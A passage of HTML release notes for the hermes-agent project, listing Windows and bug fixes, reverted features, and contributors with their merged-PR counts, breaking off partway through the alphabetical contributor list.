<li>Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (<a href="https://github.com/NousResearch/hermes-agent/pull/40179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40179/hovercard">#40179</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43322/hovercard">#43322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🪟 Windows</h2>
<ul>
<li>Dashboard <code>/chat</code> tab via ConPTY (<code>win_pty_bridge</code>) + tests; resolve PowerShell host instead of bare <code>powershell</code> for uv install; resolve <code>powershell.exe</code> by absolute path so Desktop install doesn't stall (<a href="https://github.com/NousResearch/hermes-agent/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42251/hovercard">#42251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48341/hovercard">#48341</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40927/hovercard">#40927</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release <code>_bcrypt.pyd</code> lock; read HERMES_HOME from the registry when env is stale; quarantine running <code>hermes.exe</code> during update repair (<a href="https://github.com/NousResearch/hermes-agent/pull/44084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44084/hovercard">#44084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45120/hovercard">#45120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46772/hovercard">#46772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40409/hovercard">#40409</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (<a href="https://github.com/NousResearch/hermes-agent/pull/40909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40909/hovercard">#40909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41953/hovercard">#41953</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44328" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44328/hovercard">#44328</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42419/hovercard">#42419</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Percent-encode non-ascii URL components; sanitize <code>:</code> in FTS5 queries so colon searches don't silently return empty (<a href="https://github.com/NousResearch/hermes-agent/pull/41430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41430/hovercard">#41430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40653" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40653/hovercard">#40653</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (<a href="https://github.com/NousResearch/hermes-agent/pull/47907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47907/hovercard">#47907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44738/hovercard">#44738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44708/hovercard">#44708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (<a href="https://github.com/NousResearch/hermes-agent/pull/45136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45136/hovercard">#45136</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45801/hovercard">#45801</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43669/hovercard">#43669</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to <code>providers.custom</code> instead of codex; repair cron ownership on container restart (<a href="https://github.com/NousResearch/hermes-agent/pull/43223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43223/hovercard">#43223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43505/hovercard">#43505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41976/hovercard">#41976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><em>(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)</em></li>
</ul>
<h2>↩️ Reverted in this window (not shipping)</h2>
<ul>
<li><code>html-artifact</code> skill + sketch/architecture-diagram/concept-diagrams fold (<a href="https://github.com/NousResearch/hermes-agent/pull/48899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48899/hovercard">#48899</a>) — reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/49053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49053/hovercard">#49053</a>); absent on main.</li>
<li>Cron per-job profile support reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/43956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43956/hovercard">#43956</a>); a nix patchPhase workaround reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/42151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42151/hovercard">#42151</a>).</li>
</ul>
<h2>👥 Contributors</h2>
<p>A huge thank-you to everyone who contributed to this release — <strong>245 contributors</strong> across commits, co-author trailers, and salvaged PRs.</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<h3>Top community contributors (by merged PRs)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — 60 PRs (onboarding, model picker, cron env sanitization)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — 27 PRs (desktop &amp; gateway fixes)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — 21 PRs (gateway &amp; installer reliability)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — 19 PRs (dashboard &amp; desktop UX)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — 14 PRs (usage-aware credits, Supermemory)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — 14 PRs (desktop build pipeline &amp; Linux/Windows)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a> — 5 PRs (session lifecycle fixes)</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xdany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xdany">@0xdany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xneobyte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xneobyte">@0xneobyte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xyg3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xyg3n">@0xyg3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1960697431/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1960697431">@1960697431</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/895252509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/895252509">@895252509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/achaljhawar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/achaljhawar">@achaljhawar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aimable100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aimable100">@aimable100</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AJ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AJ">@AJ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ak2k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ak2k">@ak2k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alarcritty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alarcritty">@alarcritty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlchemistChaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlchemistChaos">@AlchemistChaos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aldoeliacim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aldoeliacim">@aldoeliacim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexanderBFoley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexanderBFoley">@AlexanderBFoley</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfred-smith-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfred-smith-0">@alfred-smith-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ali-nld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ali-nld">@ali-nld</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMEOBIUS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMEOBIUS">@AMEOBIUS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMIK-coorporations/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMIK-coorporations">@AMIK-coorporations</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArcanePivot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArcanePivot">@ArcanePivot</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ARegalado1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ARegalado1">@ARegalado1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashishpatel26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashishpatel26">@ashishpatel26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barronlroth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barronlroth">@barronlroth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bcsmith528/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bcsmith528">@bcsmith528</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benegessarit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benegessarit">@benegessarit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benfrank241/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benfrank241">@benfrank241</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bionicbutterfly13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bionicbutterfly13">@bionicbutterfly13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blut-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blut-agent">@blut-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmoore210/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmoore210">@bmoore210</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bpasquini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bpasquini">@bpasquini</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/capt-marbles/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/capt-marbles">@capt-marbles</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ccook1963/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ccook1963">@ccook1963</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/channkim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/channkim">@channkim</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChasLui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChasLui">@ChasLui</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chimpera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chimpera">@chimpera</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CiarasClaws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CiarasClaws">@CiarasClaws</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claytonchew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claytonchew">@claytonchew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cnfi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cnfi">@cnfi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dangelo352/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dangelo352">@dangelo352</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deaneeth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deaneeth">@deaneeth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/definitelynotguru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/definitelynotguru">@definitelynotguru</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Diyoncrz18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Diyoncrz18">@Diyoncrz18</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draix">@draix</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ehz0ah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ehz0ah">@ehz0ah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enesilhaydin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enesilhaydin">@enesilhaydin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Evisolpxe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Evisolpxe">@Evisolpxe</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flyinhigh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flyinhigh">@flyinhigh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/foras910521-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/foras910521-lab">@foras910521-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ft-ioxcs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ft-ioxcs">@ft-ioxcs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ganesh0690/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ganesh0690">@Ganesh0690</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giladbau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giladbau">@giladbau</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glesperance/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glesperance">@glesperance</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/goku94123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/goku94123">@goku94123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaozheZhang6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaozheZhang6">@HaozheZhang6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" 